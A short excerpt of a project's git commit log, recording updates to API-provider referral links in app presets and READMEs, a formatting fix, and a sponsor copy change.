chore(presets): update ZetaAPI referral link to go/u117
Refresh the ZetaAPI invite link from /go/ccs to /go/u117 across all 7 app presets (apiKeyUrl) and the four README locales. The historical CHANGELOG entry and the api.zetaapi.ai endpoints / bare websiteUrl are left untouched so the referral code stays out of request URLs. |
||
|
|
b660061b8a |
chore(presets): update APINebula referral link to VjM74M
Refresh the APINebula invite link from /02rw5X to /VjM74M across all 8 app presets (apiKeyUrl) and the four README locales. Bare-domain websiteUrl and /v1 API endpoints are left untouched so the referral code never leaks into request URLs. |
||
|
|
200aa14295 | style(providers): fix prettier formatting in ProviderForm | ||
|
|
bc8001238a | docs(readme): update pinned Kimi sponsor copy to K3 |